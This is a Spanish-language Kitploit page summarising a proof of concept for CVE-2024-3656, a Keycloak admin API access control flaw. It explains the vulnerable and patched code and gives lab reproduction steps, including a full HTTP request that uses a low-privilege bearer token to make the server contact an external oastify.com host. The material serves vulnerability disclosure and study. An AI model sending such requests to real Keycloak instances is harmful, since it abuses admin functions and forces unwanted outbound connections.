Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-3656 — La API de administración de Keycloak permite a usuarios con privilegios bajos utilizar funciones administrativas | Kitploit
Herramientas/GitHubGitHub/h4x0r-dz/cve-2024-3656
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónMala Configuración
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

La API de administración de Keycloak permite a usuarios con privilegios bajos utilizar funciones administrativas

Ver Repositorio
3110hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Keycloak < 24.0.5 es vulnerable a una vulnerabilidad de Control de Acceso Roto, donde el atacante puede usar cualquier usuario autenticado para realizar alguna acción de API, como:

  • Probar conexiones LDAP a través del endpoint testLDAPConnection.
  • Recuperar atributos no gestionados de cualquier usuario a través del endpoint getUnmanagedAttributes.
  • Acceder a los proveedores de políticas de registro de clientes a través del endpoint getProviders.

Solo encontré interesante testLDAPConnection, donde un atacante puede interactuar con LDAP hacia un host externo.

Pasos de reproducción

primero descarga la versión vulnerable de KeyCloak 24.0.4 desde aquí https://www.keycloak.org/archive/downloads-24.0.4.html

luego extrae el archivo Zip y ejecuta el comando bin/kc.sh start-dev

image

Ahora lo ejecutarás en localhost:8080. Crea una nueva cuenta de administrador y luego inicia sesión con esta cuenta de administrador

ahora crea un nuevo Realm para usuarios regulares, y luego crea un usuario con privilegios de usuario en este realm

image

Basado en el commit que corrige la vulnerabilidad "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

encontramos que hay 3 archivos que fueron modificados:

TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java

Analizando el cambio de código en TestLdapConnectionResource.java:

(Código Vulnerable):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

No había verificación de permisos. Cualquier usuario autenticado podía llamar a testLDAPConnection y realizar pruebas LDAP, lo cual es una acción administrativa.

(Código Parcheado):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Added permission check
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

image

La línea auth.realm().requireManageRealm(); fue añadida para verificar si el usuario tiene permisos de administrador (rol manage_realm) en el realm.

Esto significa que cualquier usuario de cualquier Realm puede enviar una solicitud a /admin/realms/users/testLDAPConnection

Ahora, en un nuevo navegador, abre el enlace http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

Inicia sesión con el usuario que creaste, luego haz grep del authorization: Bearer <>

envía una solicitud HTTP al endpoint vulnerable :

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

en el parámetro connectionUrl coloca tu host externo y envía la solicitud,

entonces recibirás la interacción DNS

image

puedes aplicar lo mismo con getUnmanagedAttributes y getProviders.

referencia: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

Descargar herramienta